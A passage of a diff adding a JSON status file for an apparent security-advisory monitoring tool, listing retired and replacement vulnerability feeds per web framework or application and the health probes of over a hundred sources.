+ "Django Security Weblog",
+ "Django Security Releases Archive"
+ ]
+ },
+ {
+ "system_id": "drupal",
+ "retired_source": "NVD Drupal",
+ "replacement_sources": [
+ "Drupal Security Advisories RSS",
+ "OSV Drupal"
+ ]
+ },
+ {
+ "system_id": "esbuild",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "OSV esbuild"
+ ]
+ },
+ {
+ "system_id": "esbuild",
+ "retired_source": "NVD esbuild",
+ "replacement_sources": [
+ "OSV esbuild"
+ ]
+ },
+ {
+ "system_id": "express",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "OSV Express"
+ ]
+ },
+ {
+ "system_id": "express",
+ "retired_source": "NVD Express.js",
+ "replacement_sources": [
+ "OSV Express"
+ ]
+ },
+ {
+ "system_id": "fastify",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "OSV Fastify"
+ ]
+ },
+ {
+ "system_id": "flask",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "OSV Flask"
+ ]
+ },
+ {
+ "system_id": "ghost",
+ "retired_source": "NVD Ghost",
+ "replacement_sources": [
+ "Ghost GitHub Advisories",
+ "OSV Ghost"
+ ]
+ },
+ {
+ "system_id": "gitea",
+ "retired_source": "GitHub Gitea Advisories",
+ "replacement_sources": [
+ "OSV Gitea"
+ ]
+ },
+ {
+ "system_id": "gitlab-ce",
+ "retired_source": "GitLab Security Releases",
+ "replacement_sources": [
+ "GitLab Security Releases Atom"
+ ]
+ },
+ {
+ "system_id": "gitlab-ce",
+ "retired_source": "NVD GitLab",
+ "replacement_sources": [
+ "GitLab Security Releases",
+ "GitLab Security Releases Atom"
+ ]
+ },
+ {
+ "system_id": "hapi",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "OSV Hapi"
+ ]
+ },
+ {
+ "system_id": "haproxy",
+ "retired_source": "HAProxy Security Advisories",
+ "replacement_sources": [
+ "HAProxy Blog Feed"
+ ]
+ },
+ {
+ "system_id": "haproxy",
+ "retired_source": "NVD HAProxy",
+ "replacement_sources": [
+ "HAProxy Blog Feed"
+ ]
+ },
+ {
+ "system_id": "jenkins",
+ "retired_source": "Jenkins Security Advisories",
+ "replacement_sources": [
+ "Jenkins Security Advisories RSS"
+ ]
+ },
+ {
+ "system_id": "jenkins",
+ "retired_source": "NVD Jenkins",
+ "replacement_sources": [
+ "Jenkins Security Advisories",
+ "Jenkins Security Advisories RSS"
+ ]
+ },
+ {
+ "system_id": "joomla",
+ "retired_source": "NVD Joomla",
+ "replacement_sources": [
+ "Joomla Security Centre",
+ "OSV Joomla"
+ ]
+ },
+ {
+ "system_id": "kibana",
+ "retired_source": "Elastic Security Announcements RSS",
+ "replacement_sources": [
+ "Elastic Product Security",
+ "NVD Kibana"
+ ]
+ },
+ {
+ "system_id": "koa",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "OSV Koa"
+ ]
+ },
+ {
+ "system_id": "laravel",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "OSV Laravel"
+ ]
+ },
+ {
+ "system_id": "magento-open-source",
+ "retired_source": "NVD Magento",
+ "replacement_sources": [
+ "Magento GitHub Advisories",
+ "OSV Magento Open Source"
+ ]
+ },
+ {
+ "system_id": "mattermost",
+ "retired_source": "Mattermost Security Updates",
+ "replacement_sources": [
+ "NVD Mattermost"
+ ]
+ },
+ {
+ "system_id": "mattermost",
+ "retired_source": "NVD Mattermost",
+ "replacement_sources": [
+ "Mattermost Security Updates JSON",
+ "OSV Mattermost"
+ ]
+ },
+ {
+ "system_id": "mediawiki",
+ "retired_source": "MediaWiki Security Releases",
+ "replacement_sources": [
+ "MediaWiki Announce RSS",
+ "NVD MediaWiki"
+ ]
+ },
+ {
+ "system_id": "mediawiki",
+ "retired_source": "NVD MediaWiki",
+ "replacement_sources": [
+ "MediaWiki Announce RSS",
+ "OSV MediaWiki"
+ ]
+ },
+ {
+ "system_id": "medusa",
+ "retired_source": "GitHub Medusa Advisories",
+ "replacement_sources": [
+ "OSV Medusa"
+ ]
+ },
+ {
+ "system_id": "moodle",
+ "retired_source": "Moodle Security News",
+ "replacement_sources": [
+ "NVD Moodle"
+ ]
+ },
+ {
+ "system_id": "moodle",
+ "retired_source": "NVD Moodle",
+ "replacement_sources": [
+ "OSV Moodle"
+ ]
+ },
+ {
+ "system_id": "nestjs",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "OSV NestJS"
+ ]
+ },
+ {
+ "system_id": "nestjs",
+ "retired_source": "NVD NestJS",
+ "replacement_sources": [
+ "OSV NestJS"
+ ]
+ },
+ {
+ "system_id": "nextjs",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "GitHub Next.js Advisories",
+ "OSV Next.js"
+ ]
+ },
+ {
+ "system_id": "nextjs",
+ "retired_source": "GitHub Next.js Advisories",
+ "replacement_sources": [
+ "OSV Next.js"
+ ]
+ },
+ {
+ "system_id": "nginx",
+ "retired_source": "NVD NGINX",
+ "replacement_sources": [
+ "NGINX Security Advisories",
+ "CISA KEV NGINX"
+ ]
+ },
+ {
+ "system_id": "nuxt",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "Nuxt Security",
+ "OSV Nuxt"
+ ]
+ },
+ {
+ "system_id": "nuxt",
+ "retired_source": "Nuxt Security",
+ "replacement_sources": [
+ "OSV Nuxt"
+ ]
+ },
+ {
+ "system_id": "opencart",
+ "retired_source": "NVD OpenCart",
+ "replacement_sources": [
+ "OpenCart Releases",
+ "OSV OpenCart"
+ ]
+ },
+ {
+ "system_id": "openmage",
+ "retired_source": "NVD OpenMage",
+ "replacement_sources": [
+ "OpenMage GitHub Advisories",
+ "OSV OpenMage"
+ ]
+ },
+ {
+ "system_id": "phpmyadmin",
+ "retired_source": "NVD phpMyAdmin",
+ "replacement_sources": [
+ "phpMyAdmin Security Page",
+ "OSV phpMyAdmin"
+ ]
+ },
+ {
+ "system_id": "prestashop",
+ "retired_source": "NVD PrestaShop",
+ "replacement_sources": [
+ "PrestaShop Security Page",
+ "GitHub PrestaShop Advisories",
+ "OSV PrestaShop"
+ ]
+ },
+ {
+ "system_id": "rails",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "OSV Rails"
+ ]
+ },
+ {
+ "system_id": "rails",
+ "retired_source": "NVD Ruby on Rails",
+ "replacement_sources": [
+ "OSV Rails"
+ ]
+ },
+ {
+ "system_id": "react",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "GitHub React Advisories",
+ "OSV React"
+ ]
+ },
+ {
+ "system_id": "react",
+ "retired_source": "GitHub React Advisories",
+ "replacement_sources": [
+ "OSV React"
+ ]
+ },
+ {
+ "system_id": "redmine",
+ "retired_source": "NVD Redmine",
+ "replacement_sources": [
+ "Redmine Security Advisories"
+ ]
+ },
+ {
+ "system_id": "saleor",
+ "retired_source": "NVD Saleor",
+ "replacement_sources": [
+ "GitHub Saleor Advisories",
+ "OSV Saleor"
+ ]
+ },
+ {
+ "system_id": "shopware",
+ "retired_source": "NVD Shopware",
+ "replacement_sources": [
+ "Shopware Security Advisories",
+ "OSV Shopware"
+ ]
+ },
+ {
+ "system_id": "spring-boot",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "Spring Security Advisories",
+ "OSV Spring Boot"
+ ]
+ },
+ {
+ "system_id": "spring-framework",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "Spring Security Advisories",
+ "OSV Spring Framework"
+ ]
+ },
+ {
+ "system_id": "spring-security",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "Spring Security Advisories",
+ "OSV Spring Security"
+ ]
+ },
+ {
+ "system_id": "sveltekit",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "OSV SvelteKit"
+ ]
+ },
+ {
+ "system_id": "symfony",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "OSV Symfony"
+ ]
+ },
+ {
+ "system_id": "traefik",
+ "retired_source": "GitHub Traefik Advisories",
+ "replacement_sources": [
+ "OSV Traefik"
+ ]
+ },
+ {
+ "system_id": "undici",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "OSV Undici"
+ ]
+ },
+ {
+ "system_id": "undici",
+ "retired_source": "NVD Undici",
+ "replacement_sources": [
+ "OSV Undici"
+ ]
+ },
+ {
+ "system_id": "vite",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "Vite Security",
+ "OSV Vite"
+ ]
+ },
+ {
+ "system_id": "vite",
+ "retired_source": "Vite Security",
+ "replacement_sources": [
+ "OSV Vite"
+ ]
+ },
+ {
+ "system_id": "vue",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "Vue Security",
+ "OSV Vue"
+ ]
+ },
+ {
+ "system_id": "vue",
+ "retired_source": "Vue Security",
+ "replacement_sources": [
+ "OSV Vue"
+ ]
+ },
+ {
+ "system_id": "webpack",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "OSV webpack"
+ ]
+ },
+ {
+ "system_id": "webpack",
+ "retired_source": "NVD webpack",
+ "replacement_sources": [
+ "OSV webpack"
+ ]
+ },
+ {
+ "system_id": "werkzeug",
+ "retired_source": "GitHub Global Advisories",
+ "replacement_sources": [
+ "OSV Werkzeug"
+ ]
+ },
+ {
+ "system_id": "woocommerce",
+ "retired_source": "NVD WooCommerce",
+ "replacement_sources": [
+ "Woo Developer Advisories",
+ "GitHub WooCommerce Advisories",
+ "OSV WooCommerce"
+ ]
+ },
+ {
+ "system_id": "wordpress",
+ "retired_source": "NVD WordPress",
+ "replacement_sources": [
+ "WordPress Security News RSS",
+ "Wordfence Vulnerability Database",
+ "WPScan Vulnerability Database"
+ ]
+ }
+ ]
+ },
+ "source_health": {
+ "generated_at": "2026-03-27T09:30:44+00:00",
+ "active_source_count": 102,
+ "green_source_count": 102,
+ "failure_count": 0,
+ "all_green": true,
+ "last_fully_green_run": "2026-03-27T09:30:44+00:00",
+ "retries_performed": 0,
+ "probes": [
+ {
+ "system_id": "adminer",
+ "source_name": "OSV Adminer",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 4.288,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "adobe-commerce",
+ "source_name": "Adobe Magento Security Index",
+ "source_kind": "vendor-index",
+ "elapsed_seconds": 6.387,
+ "kind": "vendor-index",
+ "items_seen": 46
+ },
+ {
+ "system_id": "angular",
+ "source_name": "OSV Angular",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 2.576,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "apache-httpd",
+ "source_name": "Apache HTTPD Security",
+ "source_kind": "html-links",
+ "elapsed_seconds": 3.254,
+ "kind": "html-links",
+ "items_seen": 182
+ },
+ {
+ "system_id": "apache-httpd",
+ "source_name": "CISA KEV Apache HTTPD",
+ "source_kind": "kev-json",
+ "elapsed_seconds": 3.463,
+ "kind": "kev-json",
+ "items_seen": 1553
+ },
+ {
+ "system_id": "apache-tomcat",
+ "source_name": "Apache Tomcat Security",
+ "source_kind": "html-links",
+ "elapsed_seconds": 3.341,
+ "kind": "html-links",
+ "items_seen": 270
+ },
+ {
+ "system_id": "apache-tomcat",
+ "source_name": "CISA KEV Tomcat",
+ "source_kind": "kev-json",
+ "elapsed_seconds": 3.463,
+ "kind": "kev-json",
+ "items_seen": 1553
+ },
+ {
+ "system_id": "aspnet-core",
+ "source_name": "OSV ASP.NET Core",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 3.827,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "astro",
+ "source_name": "OSV Astro",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 2.65,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "caddy",
+ "source_name": "OSV Caddy",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 4.154,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "directus",
+ "source_name": "Directus GitHub Advisories",
+ "source_kind": "html-links",
+ "elapsed_seconds": 1.349,
+ "kind": "html-links",
+ "items_seen": 127
+ },
+ {
+ "system_id": "directus",
+ "source_name": "OSV Directus",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 0.987,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "discourse",
+ "source_name": "Discourse Release Notes RSS",
+ "source_kind": "rss-feed",
+ "elapsed_seconds": 2.398,
+ "kind": "rss-feed",
+ "items_seen": 30
+ },
+ {
+ "system_id": "discourse",
+ "source_name": "Discourse Security RSS",
+ "source_kind": "rss-feed",
+ "elapsed_seconds": 1.097,
+ "kind": "rss-feed",
+ "items_seen": 3
+ },
+ {
+ "system_id": "discourse",
+ "source_name": "OSV Discourse",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 0.98,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "django",
+ "source_name": "Django Security Releases Archive",
+ "source_kind": "vendor-index",
+ "elapsed_seconds": 2.987,
+ "kind": "vendor-index",
+ "items_seen": 1276
+ },
+ {
+ "system_id": "django",
+ "source_name": "Django Security Weblog",
+ "source_kind": "vendor-index",
+ "elapsed_seconds": 2.987,
+ "kind": "vendor-index",
+ "items_seen": 332
+ },
+ {
+ "system_id": "django",
+ "source_name": "OSV Django",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 4.695,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "drupal",
+ "source_name": "Drupal Security Advisories RSS",
+ "source_kind": "rss-feed",
+ "elapsed_seconds": 0.744,
+ "kind": "rss-feed",
+ "items_seen": 20
+ },
+ {
+ "system_id": "drupal",
+ "source_name": "OSV Drupal",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 2.022,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "echo",
+ "source_name": "OSV Echo",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 3.792,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "esbuild",
+ "source_name": "OSV esbuild",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 3.176,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "express",
+ "source_name": "OSV Express",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 2.68,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "fastify",
+ "source_name": "OSV Fastify",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 3.062,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "flask",
+ "source_name": "OSV Flask",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 3.732,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "ghost",
+ "source_name": "Ghost GitHub Advisories",
+ "source_kind": "html-links",
+ "elapsed_seconds": 1.102,
+ "kind": "html-links",
+ "items_seen": 119
+ },
+ {
+ "system_id": "ghost",
+ "source_name": "OSV Ghost",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 1.03,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "gin",
+ "source_name": "OSV Gin",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 4.84,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "gitea",
+ "source_name": "OSV Gitea",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 5.232,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "gitlab-ce",
+ "source_name": "GitLab Advisory Database",
+ "source_kind": "html-links",
+ "elapsed_seconds": 3.5,
+ "kind": "html-links",
+ "items_seen": 5
+ },
+ {
+ "system_id": "gitlab-ce",
+ "source_name": "GitLab Security Releases Atom",
+ "source_kind": "atom-feed",
+ "elapsed_seconds": 3.5,
+ "kind": "atom-feed",
+ "items_seen": 187
+ },
+ {
+ "system_id": "grafana",
+ "source_name": "CISA KEV Grafana",
+ "source_kind": "kev-json",
+ "elapsed_seconds": 3.502,
+ "kind": "kev-json",
+ "items_seen": 1553
+ },
+ {
+ "system_id": "grafana",
+ "source_name": "Grafana Security Advisories",
+ "source_kind": "html-links",
+ "elapsed_seconds": 3.5,
+ "kind": "html-links",
+ "items_seen": 159
+ },
+ {
+ "system_id": "hapi",
+ "source_name": "OSV Hapi",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 4.115,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "haproxy",
+ "source_name": "HAProxy Blog Feed",
+ "source_kind": "rss-feed",
+ "elapsed_seconds": 3.463,
+ "kind": "rss-feed",
+ "items_seen": 10
+ },
+ {
+ "system_id": "jenkins",
+ "source_name": "Jenkins Security Advisories RSS",
+ "source_kind": "rss-feed",
+ "elapsed_seconds": 3.5,
+ "kind": "rss-feed",
+ "items_seen": 96
+ },
+ {
+ "system_id": "joomla",
+ "source_name": "Joomla Security Centre",
+ "source_kind": "html-links",
+ "elapsed_seconds": 1.786,
+ "kind": "html-links",
+ "items_seen": 139
+ },
+ {
+ "system_id": "joomla",
+ "source_name": "OSV Joomla",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 0.983,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "kibana",
+ "source_name": "Elastic Product Security",
+ "source_kind": "html-links",
+ "elapsed_seconds": 3.502,
+ "kind": "html-links",
+ "items_seen": 66
+ },
+ {
+ "system_id": "kibana",
+ "source_name": "NVD Kibana",
+ "source_kind": "nvd-search",
+ "elapsed_seconds": 5.239,
+ "kind": "nvd-search",
+ "items_seen": 1
+ },
+ {
+ "system_id": "koa",
+ "source_name": "OSV Koa",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 2.932,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "laravel",
+ "source_name": "OSV Laravel",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 4.021,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "magento-open-source",
+ "source_name": "Magento GitHub Advisories",
+ "source_kind": "html-links",
+ "elapsed_seconds": 1.79,
+ "kind": "html-links",
+ "items_seen": 99
+ },
+ {
+ "system_id": "magento-open-source",
+ "source_name": "OSV Magento Open Source",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 2.987,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "magento-open-source",
+ "source_name": "Sansec Research",
+ "source_kind": "html-links",
+ "elapsed_seconds": 2.628,
+ "kind": "html-links",
+ "items_seen": 135
+ },
+ {
+ "system_id": "mattermost",
+ "source_name": "Mattermost Security Updates JSON",
+ "source_kind": "json-feed",
+ "elapsed_seconds": 3.732,
+ "kind": "json-feed",
+ "items_seen": 594
+ },
+ {
+ "system_id": "mattermost",
+ "source_name": "OSV Mattermost",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 5.204,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "mediawiki",
+ "source_name": "MediaWiki Announce RSS",
+ "source_kind": "rss-feed",
+ "elapsed_seconds": 2.997,
+ "kind": "rss-feed",
+ "items_seen": 30
+ },
+ {
+ "system_id": "mediawiki",
+ "source_name": "OSV MediaWiki",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 5.941,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "medusa",
+ "source_name": "OSV Medusa",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 2.198,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "moodle",
+ "source_name": "OSV Moodle",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 8.986,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "nestjs",
+ "source_name": "OSV NestJS",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 2.925,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "nextjs",
+ "source_name": "OSV Next.js",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 3.366,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "nginx",
+ "source_name": "CISA KEV NGINX",
+ "source_kind": "kev-json",
+ "elapsed_seconds": 3.463,
+ "kind": "kev-json",
+ "items_seen": 1553
+ },
+ {
+ "system_id": "nginx",
+ "source_name": "NGINX Security Advisories",
+ "source_kind": "html-links",
+ "elapsed_seconds": 3.234,
+ "kind": "html-links",
+ "items_seen": 150
+ },
+ {
+ "system_id": "nodejs",
+ "source_name": "CISA KEV Node.js",
+ "source_kind": "kev-json",
+ "elapsed_seconds": 3.463,
+ "kind": "kev-json",
+ "items_seen": 1553
+ },
+ {
+ "system_id": "nodejs",
+ "source_name": "Node.js Security Releases",
+ "source_kind": "html-links",
+ "elapsed_seconds": 2.548,
+ "kind": "html-links",
+ "items_seen": 74
+ },
+ {
+ "system_id": "nuxt",
+ "source_name": "OSV Nuxt",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 3.491,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "opencart",
+ "source_name": "OSV OpenCart",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 2.99,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "opencart",
+ "source_name": "OpenCart Releases",
+ "source_kind": "html-links",
+ "elapsed_seconds": 1.16,
+ "kind": "html-links",
+ "items_seen": 1500
+ },
+ {
+ "system_id": "openmage",
+ "source_name": "OSV OpenMage",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 1.653,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "openmage",
+ "source_name": "OpenMage GitHub Advisories",
+ "source_kind": "html-links",
+ "elapsed_seconds": 2.083,
+ "kind": "html-links",
+ "items_seen": 125
+ },
+ {
+ "system_id": "phpmyadmin",
+ "source_name": "OSV phpMyAdmin",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 5.239,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "phpmyadmin",
+ "source_name": "phpMyAdmin Security Page",
+ "source_kind": "html-links",
+ "elapsed_seconds": 3.463,
+ "kind": "html-links",
+ "items_seen": 263
+ },
+ {
+ "system_id": "prestashop",
+ "source_name": "Friends Of Presta Security",
+ "source_kind": "html-links",
+ "elapsed_seconds": 1.097,
+ "kind": "html-links",
+ "items_seen": 38
+ },
+ {
+ "system_id": "prestashop",
+ "source_name": "GitHub PrestaShop Advisories",
+ "source_kind": "html-links",
+ "elapsed_seconds": 1.095,
+ "kind": "html-links",
+ "items_seen": 127
+ },
+ {
+ "system_id": "prestashop",
+ "source_name": "OSV PrestaShop",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 1.816,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "prestashop",
+ "source_name": "PrestaShop Security Page",
+ "source_kind": "html-links",
+ "elapsed_seconds": 1.095,
+ "kind": "html-links",
+ "items_seen": 60
+ },
+ {
+ "system_id": "rails",
+ "source_name": "OSV Rails",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 4.015,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "react",
+ "source_name": "OSV React",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 2.203,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "redmine",
+ "source_name": "OSV Redmine",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 5.509,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "redmine",
+ "source_name": "Redmine Security Advisories",
+ "source_kind": "html-links",
+ "elapsed_seconds": 3.792,
+ "kind": "html-links",
+ "items_seen": 371
+ },
+ {
+ "system_id": "saleor",
+ "source_name": "GitHub Saleor Advisories",
+ "source_kind": "html-links",
+ "elapsed_seconds": 1.344,
+ "kind": "html-links",
+ "items_seen": 120
+ },
+ {
+ "system_id": "saleor",
+ "source_name": "OSV Saleor",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 3.067,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "shopware",
+ "source_name": "OSV Shopware",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 2.548,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "shopware",
+ "source_name": "Shopware Security Advisories",
+ "source_kind": "html-links",
+ "elapsed_seconds": 1.097,
+ "kind": "html-links",
+ "items_seen": 129
+ },
+ {
+ "system_id": "spring-boot",
+ "source_name": "OSV Spring Boot",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 4.021,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "spring-boot",
+ "source_name": "Spring Security Advisories",
+ "source_kind": "html-links",
+ "elapsed_seconds": 2.68,
+ "kind": "html-links",
+ "items_seen": 118
+ },
+ {
+ "system_id": "spring-framework",
+ "source_name": "OSV Spring Framework",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 3.234,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "spring-framework",
+ "source_name": "Spring Security Advisories",
+ "source_kind": "html-links",
+ "elapsed_seconds": 2.628,
+ "kind": "html-links",
+ "items_seen": 118
+ },
+ {
+ "system_id": "spring-security",
+ "source_name": "OSV Spring Security",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 3.341,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "spring-security",
+ "source_name": "Spring Security Advisories",
+ "source_kind": "html-links",
+ "elapsed_seconds": 2.65,
+ "kind": "html-links",
+ "items_seen": 118
+ },
+ {
+ "system_id": "strapi",
+ "source_name": "OSV Strapi",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 1.074,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "strapi",
+ "source_name": "Strapi GitHub Advisories",
+ "source_kind": "html-links",
+ "elapsed_seconds": 1.165,
+ "kind": "html-links",
+ "items_seen": 124
+ },
+ {
+ "system_id": "sveltekit",
+ "source_name": "OSV SvelteKit",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 2.566,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "symfony",
+ "source_name": "OSV Symfony",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 4.636,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "traefik",
+ "source_name": "OSV Traefik",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 4.253,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "undici",
+ "source_name": "OSV Undici",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 3.254,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "vite",
+ "source_name": "OSV Vite",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 2.577,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "vue",
+ "source_name": "OSV Vue",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 2.381,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "webpack",
+ "source_name": "OSV webpack",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 3.176,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "werkzeug",
+ "source_name": "OSV Werkzeug",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 4.113,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "woocommerce",
+ "source_name": "GitHub WooCommerce Advisories",
+ "source_kind": "html-links",
+ "elapsed_seconds": 1.069,
+ "kind": "html-links",
+ "items_seen": 107
+ },
+ {
+ "system_id": "woocommerce",
+ "source_name": "OSV WooCommerce",
+ "source_kind": "osv-batch",
+ "elapsed_seconds": 1.716,
+ "kind": "osv-batch",
+ "items_seen": 1
+ },
+ {
+ "system_id": "woocommerce",
+ "source_name": "Patchstack Database",
+ "source_kind": "html-links",
+ "elapsed_seconds": 1.095,
+ "kind": "html-links",
+ "items_seen": 193
+ },
+ {
+ "system_id": "woocommerce",
+ "source_name": "Woo Developer Advisories",
+ "source_kind": "html-links",
+ "elapsed_seconds": 1.069,
+ "kind": "html-links",
+ "items_seen": 121
+ },
+ {
+ "system_id": "woocommerce",
+ "source_name": "Wordfence Vulnerability Database",
+ "source_kind": "html-links",
+ "elapsed_seconds": 1.095,
+ "kind": "html-links",
+ "items_seen": 0
+ },
+ {
+ "system_id": "wordpress",
+ "source_name": "Patchstack Database",
+ "source_kind": "html-links",
+ "elapsed_seconds": 0.009,
+ "kind": "html-links",
+ "items_seen": 193
+ },
+ {
+ "system_id": "wordpress",
+ "source_name": "PortSwigger Research",
+ "source_kind": "html-links",
+ "elapsed_seconds": 1.594,
+ "kind": "html-links",
+ "items_seen": 99
+ },
+ {
+ "system_id": "wordpress",
+ "source_name": "WPScan Vulnerability Database",
+ "source_kind": "html-links",
+ "elapsed_seconds": 1.582,
+ "kind": "html-links",
+ "items_seen": 74
+ },
+ {
+ "system_id": "wordpress",
+ "source_name": "WordPress Security News RSS",
+ "source_kind": "rss-feed",
